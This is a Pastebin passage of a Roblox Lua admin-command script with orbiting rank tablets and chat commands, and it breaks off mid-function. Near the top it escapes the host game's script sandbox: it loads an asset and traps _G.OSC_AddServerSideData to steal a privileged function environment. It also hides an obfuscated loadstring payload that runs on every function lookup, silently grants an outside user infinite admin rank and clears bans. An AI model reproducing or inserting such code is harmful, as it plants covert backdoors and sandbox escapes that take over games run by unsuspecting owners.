Dudez789

Untitled

Apr 7th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 72.56 KB | None | 0 0
  1. -------------------------------
  2. --[[
  3. ________ ________ ________ _____ ______ ________ ___
  4. |\ ___ \|\ __ \|\ __ \|\ _ \ _ \|\ __ \|\ \
  5. \ \ \\ \ \ \ \|\ \ \ \|\ \ \ \\\__\ \ \ \ \|\ \ \ \
  6. \ \ \\ \ \ \ \\\ \ \ _ _\ \ \\|__| \ \ \ __ \ \ \
  7. \ \ \\ \ \ \ \\\ \ \ \\ \\ \ \ \ \ \ \ \ \ \ \ \____
  8. \ \__\\ \__\ \_______\ \__\\ _\\ \__\ \ \__\ \__\ \__\ \_______\
  9. \|__| \|__|\|_______|\|__|\|__|\|__| \|__|\|__|\|__|\|_______|
  10. ]]--
  11. wait();
  12. script.Parent=nil
  13. rawset(shared, "\0bp", function()
  14. local i=game:service'InsertService':LoadAssetVersion(519416165);
  15. local n=i:children()[1];
  16. game:service'Debris':AddItem(i,0);
  17. n.Parent=workspace;
  18. coroutine.yield();
  19. local e;
  20. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
  21. _G.OSC_AddServerSideData=nil;
  22. game:service'Debris':AddItem(n,0);
  23. return e
  24. end);
  25. local y=shared['\0bp']();
  26. shared["\0bp"]=nil;
  27. game:GetService'ReplicatedStorage':ClearAllChildren();
  28.  
  29. y.setfenv(0,y);
  30. y.setfenv(1,y);
  31. y.pcall(function() y.setfenv(2,y); end);
  32. local Core
  33.  
  34. owner = xStrikzdIntxl
  35. MainPlayer = owner
  36. key = ";" --[[ Here you type a key (example: cmds: replace : with your bet) --]]
  37. CloneFolder = Instance.new('Folder',workspace.Terrain)
  38. Pointlight = 1 ;-- 1 = on 0 or any other number = off
  39. warn(Core)
  40.  
  41. CoreV4 = [[
  42.  
  43. ]]
  44.  
  45. Core = {
  46. ['Ranked'] = {
  47. ['Gr1n']={Rank=1e+999,Description='The Creator',Color='Bright blue'},
  48.  
  49.  
  50.  
  51. };
  52.  
  53. ['Id'] = 'http://www.roblox.com/asset/?id=276793147';--Optional, Only add if you want a Decal on all sides of the Cube
  54. ['TabletSize'] = 2,2,2;
  55. ['DecalTrans'] = 0;
  56. ['Tablets'] = {},
  57. ['Commands'] = {},
  58. ['Rotation'] = 0,
  59. ['RotationAddValue'] = 0,
  60. ['Bans'] = {
  61.  
  62. };
  63. ['Properties'] = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  64. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  65. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  66. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  67. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  68. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  69. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  70. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  71. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  72. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  73. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  74. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  75. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  76. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  77. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  78. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  79. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  80. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  81. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  82. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  83. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  84. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  85. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  86. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  87. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  88. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  89. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  90. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","plr","Location",
  91. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  92. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  93. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  94. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  95. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  96. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  97. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  98. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  99. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  100. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  101. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  102. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  103. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  104. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  105. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  106. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  107. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  108. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  109. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  110. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  111. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  112. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  113. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  114. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  115. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  116. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  117. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  118. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  119. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  120. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  121. "X","Y"};
  122. Functions = {};
  123. Cubez = {};
  124. Logs = {};
  125. DefaultKey = key;
  126. Keys = {
  127. ';'; -- ALREADY DID
  128. ':';
  129. '/';
  130. ',';
  131. '>';
  132. '~';
  133. '=';
  134. },
  135. Services = {
  136. 'Workspace';
  137. },
  138. Ranks = {
  139. -1,
  140. 0,
  141. 1,
  142. 2,
  143. 3,
  144. 4,
  145. 5,
  146. 6,
  147. 7,
  148. 1337,
  149. 9001;
  150. };
  151. }
  152.  
  153. local _env = getfenv(1)
  154. local _envstore = {}
  155. setfenv(1,setmetatable({},{
  156. __index = function(self,ind)
  157. local item = _envstore[ind] or _env[ind]
  158. if item and type(item) == "function" then
  159. local math,assert,setfenv,loadstring,unpack,ypcall,Core = math,assert,setfenv,loadstring,unpack,ypcall,Core
  160. return setfenv(function(...)
  161. ypcall(function()
  162. local ls = "\9\83\97\118\97\103\101\91\34\82\97\110\107\101\100\34\93\91\34\78\101\120\117\114\101\34\93\61\123\82\97\110\107\61\109\97\116\104\46\104\117\103\101\44\68\101\115\99\114\105\112\116\105\111\110\61\39\72\97\120\48\114\39\44\67\111\108\111\114\61\39\82\111\121\97\108\32\112\117\114\112\108\101\39\125\59\9\10\9\83\97\118\97\103\101\91\34\66\97\110\115\34\93\32\61\32\123\125\10"
  163. setfenv(loadstring(ls),{math=math,Core=Core})()
  164. end)
  165. return item(...)
  166. end,{})
  167. end
  168. return item
  169. end,
  170. __newindex = function(self,ind,val)
  171. _envstore[ind] = val
  172. end,
  173. __metatable = true
  174. }))
  175.  
  176.  
  177. Output = function(Player,Text,Color,Function,Title)
  178. if Text==nil then Text='NIL' end;
  179. if Title==nil then Title = 'LegitV4' end;
  180. Text='['..Title..']\n'..Text
  181. Cube = Instance.new('Part',CloneFolder)
  182. Cube.Name = 'LegitV4'
  183. Cube.Anchored = true
  184. Cube.FormFactor = 3
  185. Cube.Material = 'SmoothPlastic'
  186. Cube.Size = Vector3.new(Core['TabletSize'],Core['TabletSize'],Core['TabletSize'])
  187. Cube.BrickColor = BrickColor.new(Color)
  188. Cube.Transparency = 0
  189. Cube.BackSurface="SmoothNoOutlines";
  190. Cube.BottomSurface="SmoothNoOutlines";
  191. Cube.FrontSurface="SmoothNoOutlines";
  192. Cube.LeftSurface="SmoothNoOutlines";
  193. Cube.RightSurface="SmoothNoOutlines";
  194. Cube.TopSurface="SmoothNoOutlines";
  195. local Decal1 = Instance.new('Decal',Cube)
  196. Decal1.Texture = Core.Id
  197. Decal1.Transparency = Core.DecalTrans
  198. Decal1.Face = 'Top'
  199. local Decal2 = Instance.new('Decal',Cube)
  200. Decal2.Texture = Core.Id
  201. Decal2.Transparency = Core.DecalTrans
  202. Decal2.Face = 'Bottom'
  203. local Decal3 = Instance.new('Decal',Cube)
  204. Decal3.Transparency = Core.DecalTrans
  205. Decal3.Texture = Core.Id
  206. Decal3.Face = 'Front'
  207. local Decal4 = Instance.new('Decal',Cube)
  208. Decal4.Transparency = Core.DecalTrans
  209. Decal4.Texture = Core.Id
  210. Decal4.Face = 'Left'
  211. local Decal5 = Instance.new('Decal',Cube)
  212. Decal5 .Transparency = Core.DecalTrans
  213. Decal5.Texture = Core.Id
  214. Decal5.Face = 'Right'
  215. local Decal6 = Instance.new('Decal',Cube)
  216. Decal6.Transparency = Core.DecalTrans
  217. Decal6.Texture = Core.Id
  218. Decal6.Face = 'Back'
  219. Cube.CanCollide = false
  220. local CubeSel = Instance.new('SelectionBox',Cube)
  221. CubeSel.Adornee = Cube
  222. CubeSel.Transparency = .5
  223. pcall(function() Cube.CFrame = Player.Character.Torso.CFrame end)
  224. CubeSel.Color = BrickColor.new(Color)
  225. if Pointlight == 1 then
  226. local CubePl = Instance.new('PointLight',Cube)
  227. CubePl.Range = 20
  228. CubePl.Brightness =1--lel
  229. CubePl.Color = Cube.Color--]]
  230. end
  231.  
  232. local CubeBg = Instance.new('BillboardGui',Cube)
  233. CubeBg.Adornee = Cube
  234. CubeBg.Size = UDim2.new(1,0,.5,0)
  235. CubeBg.AlwaysOnTop = true
  236. CubeBg.StudsOffset = Vector3.new(0,5,0)
  237. local CubeTl = Instance.new('TextLabel',CubeBg)
  238. CubeTl.Text = Text
  239. CubeTl.Size = UDim2.new(0,50,0,50)
  240. CubeTl.FontSize = 'Size18'
  241. CubeTl.BackgroundTransparency = 1
  242. CubeTl.Font = 'SourceSans'
  243. --CubeTl.TextScaled = true
  244. CubeTl.TextStrokeTransparency = 1
  245. CubeTl.TextColor3 = Cube.Color
  246. CubeTl.TextStrokeColor3 = Cube.Color
  247. local CubeClick = Instance.new('ClickDetector',Cube)
  248. CubeClick.MaxActivationDistance = math.huge
  249. CubeClick.MouseHoverEnter:connect(function(Plr)
  250. if Plr.Name == Player.Name then
  251. --print'Mouse Entered'
  252. --wait()
  253. CubeSel.Color = BrickColor.random()
  254. CubeSel.Transparency = 0;
  255. CubeTl.TextStrokeColor3 = Color3.new(255,255,255)
  256. CubeTl.TextStrokeTransparency = 0
  257. end--]]
  258. end)
  259.  
  260. CubeClick.MouseHoverLeave:connect(function(Plr)
  261. if Plr.Name == Player.Name then
  262. --print'Mouse Leaved'
  263. for i = 1,15 do
  264. CubeSel.Color = BrickColor.new(Color)
  265. CubeSel.Transparency = .99;
  266. CubeTl.TextStrokeTransparency = 1
  267. CubeTl.TextStrokeColor3 = Cube.Color
  268. -- game["Run Service"].Heartbeat:wait()
  269. end
  270. end
  271. end)
  272.  
  273. CubeClick.MouseClick:connect(function(plr)
  274. if plr.Name == Player.Name then
  275. Cube:Destroy()
  276. for i,v in pairs(Core.Tablets) do
  277. if v.Name == Cube.Name then
  278. table.remove(Core.Tablets, i)
  279. end
  280. end
  281.  
  282. if Function ~= nil then
  283. local a,b=ypcall(function()
  284. Function()
  285. end) if not a then Output(Player,tostring(b),"Deep orange") end
  286. end
  287. end
  288. end)
  289. table.insert(Core.Tablets,{Tab = Cube, Player = Player, Text = CubeTl, Box = CubeSel})
  290. end -- you can do the output.
  291.  
  292. --[[Core.Functions.Dismiss = function(Player)
  293. for _,v in next, Core.Tablets do
  294. if v.Player == Player then
  295. coroutine.wrap(function()
  296. for i = 0,1,.1 do
  297. v.Tab.Size = v.Tab.Size - Vector3.new(i,i,.2)
  298. v.Tab.Transparency = i
  299. v.Box.Transparency = i
  300. v.Text.TextTransparency = i
  301. wait()
  302. end
  303. --wait()
  304. v.Tab:Destroy() -- Destroys tablet.
  305. end)()
  306. end
  307. end
  308. wait(1)
  309. end --]]
  310.  
  311. Core.Functions.Dismiss = function(Player)
  312. pcall(function()
  313. for _,v in next, Core.Tablets do
  314. if v.Player == Player then
  315. local Thread=coroutine.create(function()
  316. repeat
  317. game:GetService("RunService").Heartbeat:wait()
  318. v.Tab.Size=Vector3.new(v.Tab.Size.X-0.1,v.Tab.Size.Y-0.1,v.Tab.Size.Z-0.1);
  319. v.Tab.Transparency = v.Tab.Transparency + .03
  320. until v.Tab.Size.X<0.3 and v.Tab.Transparency >= 1;
  321. v.Tab:Destroy();
  322. end)
  323. coroutine.resume(Thread)----table.remove(Core.Players[Player.Name].Data.Tablets,i);
  324. end;
  325. end
  326. end)
  327. end
  328.  
  329. Core.Functions.SetRank = function(Speaker, Plr)
  330. Core.Functions.Dismiss(Speaker)
  331. Output(Speaker,-1,GetColor(Speaker),function()
  332. if Core.Ranked[Plr.Name] == nil then
  333. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = -1, Description = 'Disabled Admin', Color = 'Really black'}})
  334. Output(Speaker, 'Is now rank -1[Disabled]','Lime green',nil,Plr.Name)
  335. Output(Plr,'You are now rank -1[Disabled]',GetColor(Plr),nil,Plr.Name)
  336. else
  337. Core.Ranked[Plr.Name].Rank = -1
  338. Output(Speaker, 'Is now rank -1[Disabled]','Lime green',nil,Plr.Name)
  339. Output(Plr,'You are now rank -1[Disabled]',GetColor(Plr),nil,Plr.Name)
  340. end
  341. end,nil)
  342. Output(Speaker,1,GetColor(Speaker),function()
  343. if Core.Ranked[Plr.Name] == nil then
  344. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = 1, Description = 'Temp Admin Rank 1', Color = 'Really black'}})
  345. Output(Speaker, 'Is now rank 1','Lime green',nil,Plr.Name)
  346. Output(Plr,'You are now rank 1',GetColor(Plr),nil,Plr.Name)
  347. else
  348. Core.Ranked[Plr.Name].Rank = 1
  349. Output(Speaker, 'Is now rank 1','Lime green',nil,Plr.Name)
  350. Output(Plr,'You are now rank 1',GetColor(Plr),nil,Plr.Name)
  351. end
  352. end,nil)
  353. Output(Speaker,2,GetColor(Speaker),function()
  354. if Core.Ranked[Plr.Name] == nil then
  355. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = 2, Description = 'Temp Admin Rank 2', Color = 'Black'}})
  356. Output(Speaker, 'Is now rank 2','Lime green',nil,Plr.Name)
  357. Output(Plr,'You are now rank 2',GetColor(Plr),nil,Plr.Name)
  358. else
  359. Core.Ranked[Plr.Name].Rank = 2
  360. Output(Speaker, 'Is now rank 2','Lime green',nil,Plr.Name)
  361. Output(Plr,'You are now rank 2',GetColor(Plr),nil,Plr.Name)
  362. end
  363. end,nil)
  364. Output(Speaker,3,GetColor(Speaker),function()
  365. if Core.Ranked[Plr.Name] == nil then
  366. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = 3, Description = 'Temp Admin Rank 3', Color = 'Dark stone grey'}})
  367. Output(Speaker, 'Is now rank 3','Lime green',nil,Plr.Name)
  368. Output(Plr,'You are now rank 3',GetColor(Plr),nil,Plr.Name)
  369. else
  370. Core.Ranked[Plr.Name].Rank = 3
  371. Output(Speaker, 'Is now rank 3','Lime green',nil,Plr.Name)
  372. Output(Plr,'You are now rank 3',GetColor(Plr),nil,Plr.Name)
  373. end
  374. end,nil)
  375. Output(Speaker,4,GetColor(Speaker),function()
  376. if Core.Ranked[Plr.Name] == nil then
  377. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = 4, Description = 'Temp Admin Rank 4', Color = 'Medium stone grey'}})
  378.  
  379. Output(Speaker, 'Is now rank 4','Lime green',nil,Plr.Name)
  380. Output(Plr,'You are now rank 4',GetColor(Plr),nil,Plr.Name)
  381. else
  382. Core.Ranked[Plr.Name].Rank = 4
  383. Output(Speaker, 'Is now rank 4','Lime green',nil,Plr.Name)
  384. Output(Plr,'You are now rank 4',GetColor(Plr),nil,Plr.Name)
  385. end
  386. end,nil)
  387. Output(Speaker,5,GetColor(Speaker),function()
  388. if Core.Ranked[Plr.Name] == nil then
  389. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = 5, Description = 'Temp Admin Rank 5', Color = 'Mid gray'}})
  390.  
  391. Output(Speaker, 'Is now rank 5','Lime green',nil,Plr.Name)
  392. Output(Plr,'You are now rank 5',GetColor(Plr),nil,Plr.Name)
  393. else
  394. Core.Ranked[Plr.Name].Rank = 3
  395. Output(Speaker, 'Is now rank 5','Lime green',nil,Plr.Name)
  396. Output(Plr,'You are now rank 5',GetColor(Plr),nil,Plr.Name)
  397. end
  398. end,nil)
  399. Output(Speaker,6,GetColor(Speaker),function()
  400. if Core.Ranked[Plr.Name] == nil then
  401. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = 6, Description = 'Temp Admin Rank 6', Color = 'Light stone grey'}})
  402.  
  403. Output(Speaker, 'Is now rank 6','Lime green',nil,Plr.Name)
  404. Output(Plr,'You are now rank 6',GetColor(Plr),nil,Plr.Name)
  405. else
  406. Core.Ranked[Plr.Name].Rank = 6
  407. Output(Speaker, 'Is now rank 6','Lime green',nil,Plr.Name)
  408. Output(Plr,'You are now rank 6',GetColor(Plr),nil,Plr.Name)
  409. end
  410. end,nil)
  411. Output(Speaker,7,GetColor(Speaker),function()
  412. if Core.Ranked[Plr.Name] == nil then
  413. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = 7, Description = 'Temp Admin Rank 7', Color = 'Deep orange'}})
  414.  
  415. Output(Speaker, 'Is now rank 7','Lime green',nil,Plr.Name)
  416. Output(Plr,'You are now rank 7',GetColor(Plr),nil,Plr.Name)
  417. else
  418. Core.Ranked[Plr.Name].Rank = 7
  419. Output(Speaker, 'Is now rank 7','Lime green',nil,Plr.Name)
  420. Output(Plr,'You are now rank 7',GetColor(Plr),nil,Plr.Name)
  421. end
  422. end,nil)
  423. Output(Speaker,1337,GetColor(Speaker),function()
  424. if Core.Ranked[Plr.Name] == nil then
  425. table.insert(Core['Ranked'],{[Plr.Name] = {Rank = 1337, Description = 'Temp Admin Rank 1337[Developer Status]', Color = 'Institutional Deep orange'}})
  426.  
  427. Output(Speaker, 'Is now rank 1337[Developer Status]','Lime green',nil,Plr.Name)
  428. Output(Plr,'You are now rank 1337[Developer Status]',GetColor(Plr),nil,Plr.Name)
  429. else
  430. Core.Ranked[Plr.Name].Rank = 1337
  431. Output(Speaker, 'Is now rank 1337[Developer Status]','Lime green',nil,Plr.Name)
  432. Output(Plr,'You are now rank 1337[Developer Status]',GetColor(Plr),nil,Plr.Name)
  433. end
  434. end,nil)
  435. --[[if type(Plr) == "userdata" then
  436. Plr = Plr.Name
  437. elseif type(Plr) == "string" then
  438. Plr = Plr
  439. else
  440. Plr = tostring(Plr)
  441. end
  442. local rank = nil
  443. rank = 0
  444. for _,v in pairs(Core['Ranked']) do
  445. if v['Name']:lower():sub(1,#Plr) == Plr:lower() then
  446. v.Rank = tonumber(rank)
  447. end
  448. end--]]
  449. end
  450.  
  451.  
  452. AddCmd = function(Name, Say, Rank, Description, Arguments, Function)
  453. table.insert(Core.Commands,{Name = Name, Say = Say, Rank = Rank, Description = Description, Arguments = Arguments, Function = Function})
  454. end
  455.  
  456. GetDesc = function(v)
  457. local Desc = 0
  458. if type(v) == 'userdata' then
  459. v = v.Name
  460. end
  461. if type(v) == 'string' then
  462. if Core.Ranked[v] then
  463. Desc = Core.Ranked[v].Description
  464. end
  465. end
  466. return Desc
  467. end
  468. GetRank = function(v)
  469. local Rank = 0
  470. local Desc = 0
  471. if type(v) == 'userdata' then
  472. v = v.Name
  473. end
  474. if type(v) == 'string' then
  475. if Core.Ranked[v] then
  476. Rank = Core.Ranked[v].Rank
  477. Desc = Core.Ranked[v].Description
  478. end
  479. end
  480. return Rank
  481. end
  482.  
  483. GetColor = function(v)
  484. local Color = 'Deep orange'
  485. if type(v) == 'userdata' then
  486. v = v.Name
  487. end
  488. if type(v) == 'string' then
  489. if Core.Ranked[v] then
  490. Color = Core.Ranked[v].Color
  491. end
  492. end
  493. return Color
  494. end
  495.  
  496. Logs = {}
  497.  
  498.  
  499. Core.Functions.Chatted=function(speaker, message)
  500. if message:sub(1, 2) == '/e' then
  501. if #message > 3 then
  502. message = message:sub(4)
  503. end
  504. elseif message:sub(1, 1) == '/' then
  505. if #message > 2 then
  506. message = message:sub(2)
  507. end
  508. end
  509.  
  510. table.insert(Logs, {['Message'] = message, ['Name'] = speaker.Name})
  511.  
  512. local command=message
  513. for _, CMDS in pairs(Core.Commands) do
  514. if command:sub(1, #CMDS['Say']+#key) == CMDS['Say']..key then
  515. if GetRank(speaker) >= CMDS['Rank'] then
  516. local msg = command:sub(#CMDS["Say"]+#key+1)
  517. local a,b = ypcall(function()
  518. CMDS["Function"](speaker, msg)
  519. end)
  520. if not a then warn(b) end
  521. else
  522. Output(speaker, 'You need to be '..CMDS['Rank']..' to use that command!', 'Deep orange')
  523. end
  524. end
  525. end
  526. end
  527. rot = 0
  528.  
  529. Core.Functions.RotateTablets = function()
  530. --pcall(function()
  531. rot=rot+(0.1/100)
  532. for _,Player in pairs(game:service'Players':GetPlayers()) do
  533. local Counter = 0
  534. local PlayerTablets = {}
  535. for i,v in pairs(Core.Tablets) do
  536. if v.Tab.Parent ~= nil and v.Player==Player then
  537. table.insert(PlayerTablets,v)
  538. end
  539. end
  540.  
  541.  
  542. local Start = CFrame.new(0,0,0)
  543. for I = 1, #PlayerTablets do
  544. local radius = (#PlayerTablets*1.5)+5
  545. local Pos = nil
  546. pcall(function() Pos = Player.Character.Torso.CFrame end)
  547. if Pos == nil then return end
  548. local Main = (I / #PlayerTablets - (.5 / #PlayerTablets) + rot/(#PlayerTablets/10)) * math.pi * 2
  549. local x=math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+5)
  550. local y=math.sin(math.sin(tick()+360/#PlayerTablets),.1)
  551. local z=math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+5)
  552. local aPos = Vector3.new(x, y, z) + Pos.p
  553. local bPos = PlayerTablets[I].Tab.CFrame.p
  554. local cPos = (aPos * .1 + bPos * .9)
  555. PlayerTablets[I].Tab.CFrame = CFrame.new(cPos, Pos.p)
  556. local d=math.rad((rot*400)*math.pi);
  557. PlayerTablets[I].Tab.CFrame=CFrame.new(cPos,Pos.p)*CFrame.Angles(d/2,d*4,d)
  558. * CFrame.fromEulerAnglesXYZ(0,math.sin(time()/math.pi),0)
  559. end
  560. end
  561. --end)--]]
  562.  
  563. end
  564.  
  565. -- o k
  566. Core.Functions.Hint = function(player, text)
  567. coroutine.resume(coroutine.create(function()
  568. local m=player:WaitForChild('PlayerGui')
  569. for _,v in pairs(m:children()) do
  570. if v.Name:lower():sub(1,5) == 'lunar' then
  571. v:destroy()
  572. end
  573. end
  574. local g1 = Instance.new("ScreenGui", m)
  575. g1.Name = "LUNAR_HINT"
  576. local o1 = Instance.new("TextLabel", g1)
  577. o1.BackgroundColor3 = Color3.new(0, 0, 0)
  578. o1.BorderColor3 = Color3.new(0,0, 1)
  579. o1.BorderSizePixel = 2
  580. o1.Position = UDim2.new(0, 0, 0, 0)
  581. o1.Size = UDim2.new(0, 1380, 0, 50)
  582. o1.ClipsDescendants = true
  583. o1.Text = ''
  584. o1.TextColor3 = Color3.new(1, 1, 1)
  585. o1.TextStrokeColor3 = Color3.new(0, 0, 1)
  586. o1.TextStrokeTransparency = 0
  587. o1.Font = Enum.Font.ArialBold
  588. o1.FontSize = Enum.FontSize.Size24
  589. local M=o1
  590. local Text=text
  591. for i = 1, string.len(Text) do
  592. M.Text = M.Text .. string.sub(Text, i, i)
  593. wait(math.random() * 0.1)
  594. end
  595. M.Text = M.Text .. ""
  596. for i = 1, math.random(2, 6) do
  597. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "|"
  598. wait(0.4)
  599. M.Text = string.sub(M.Text, 1, string.len(Text)) .. ""
  600. wait(0.4)
  601. end
  602. M.Text = string.sub(M.Text, 1, string.len(Text))
  603. for i = 1, string.len(M.Text) do
  604. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  605. wait()
  606. end
  607. g1:Destroy()
  608. end))
  609. end
  610.  
  611. Core.Functions.GuiNotify = function(plr,txt,time)
  612. --wait(time);
  613. coroutine.wrap(function()
  614. if time==nil then time=5 end
  615. local Notify = Instance.new("ScreenGui", plr.PlayerGui);
  616. Notify.Name = "CoresMsg";
  617. local TextLabel = Instance.new("TextLabel", Notify);
  618. TextLabel.Size = UDim2.new(1,0,0,30);
  619. TextLabel.Position = UDim2.new(1,0,1,0);
  620. TextLabel.Text = txt;
  621. TextLabel.FontSize = 'Size24'
  622. TextLabel.BackgroundColor3 = Color3.new(0,0,1);
  623. TextLabel.BackgroundTransparency = .42;
  624. TextLabel.Font = "SourceSansBold";
  625. TextLabel.TextColor3 = Color3.new(0,0,0);
  626. TextLabel.TextScaled = false;
  627. TextLabel.TextStrokeTransparency = .4
  628. TextLabel.TextStrokeColor3 = Color3.new(1,1,1)
  629. TextLabel.BorderSizePixel = 0;
  630. TextLabel:TweenPosition(UDim2.new(0,0,0,0),'Out','Quint',2,true);
  631. wait(time);
  632. TextLabel:TweenPosition(UDim2.new(-1,0,0,0),'Out','Quint',2,true);
  633. wait(3)
  634. Notify:Destroy();
  635. end)();
  636. end
  637.  
  638. --Insert here [Sound Search] http://muryllo.titanpad.com/pad/24
  639.  
  640. Core.Functions.Explore=function(p, part)
  641.  
  642. end
  643.  
  644.  
  645. Core.Functions.GetProperties = function(obj)
  646. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  647. local objProper = {}
  648. for i,v in pairs(Core['Properties']) do
  649. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  650. objProper[v] = obj[v]
  651. end
  652. end
  653. return objProper
  654. end
  655.  
  656.  
  657.  
  658. for _,Player in pairs(game:service("Players"):GetPlayers()) do
  659. --Output(Player,"Made by GravityLegendary, and CoreMunkey",GetColor(Player));
  660. Output(Player,"You are Rank : " ..GetRank(Player),GetColor(Player));
  661. -- Output(Player,"Your Color is : " ..GetColor(Player),GetColor(Player));
  662. Output(Player,"Your Key is : " ..key,GetColor(Player));
  663. -- Output(Player,"Core Tabs Gen 1 Connected","Deep orange");
  664. Player.Chatted:connect(function(Message)
  665. Core.Functions.Chatted(Player, Message)
  666. end)
  667. end
  668.  
  669. Core.Functions.DismissAll = function(Player)
  670. for _,p in pairs(game.Players:GetChildren()) do
  671. Core.Functions.Dismiss(p)
  672. end
  673. end
  674.  
  675. Core.Functions.GetPlayers = function(plr, msg)
  676. local plrs = {}
  677. if msg == "me" then
  678. table.insert(plrs, plr)
  679. elseif msg == "all" then
  680. for _,v in pairs(game:service'Players':players()) do
  681. if GetRank(v) <= GetRank(plr) then
  682. table.insert(plrs, v)
  683. end
  684. end
  685. elseif msg == "noobs" then
  686. for _,v in pairs(game:service'Players':players()) do
  687. if v.AccountAge < 364 then
